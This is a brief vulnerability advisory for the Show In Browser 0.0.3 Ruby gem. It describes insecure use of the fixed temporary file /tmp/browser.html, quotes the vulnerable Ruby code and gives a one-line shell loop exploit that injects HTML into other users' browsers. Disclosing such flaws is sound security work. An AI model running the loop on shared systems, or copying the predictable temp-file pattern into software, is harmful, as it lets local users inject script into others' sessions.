VDB-ID: 100 Title: Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability Vulnerability Date: 2013-05-23 Download: https://rubygems.org/gems/show_in_browser Vendor: Jonathan Leung Notified: 2013-05-23 Vendor Contact: me@jonl.org Description: Opens arbitrary text in your browser. Vulnerability: The following code uses the temporary file "/tmp/browser.html" insecurely. 2 FILE_LOCATION = "/tmp/browser.html" 3 4 class << self 5 6 def show(html) 7 file = File.open(FILE_LOCATION, 'w') 8 file.write(html) 9 file.close 0 11 `open #{FILE_LOCATION}` By a malicious user creating /tmp/browser.html first and repeatedly writing to it they can inject malicious html into the file right before it is about to be opened. CVE-IDs: 2013-2105 Exploit: nobody () pitter:/$ while (true); do echo "" >> /tmp/browser.html; done Will pop up a java script alert in other gem users browser. URL: http://www.vapid.dhs.org/advisories/show_in_browser.html Credit: Larry W. Cashdollar, @_larry0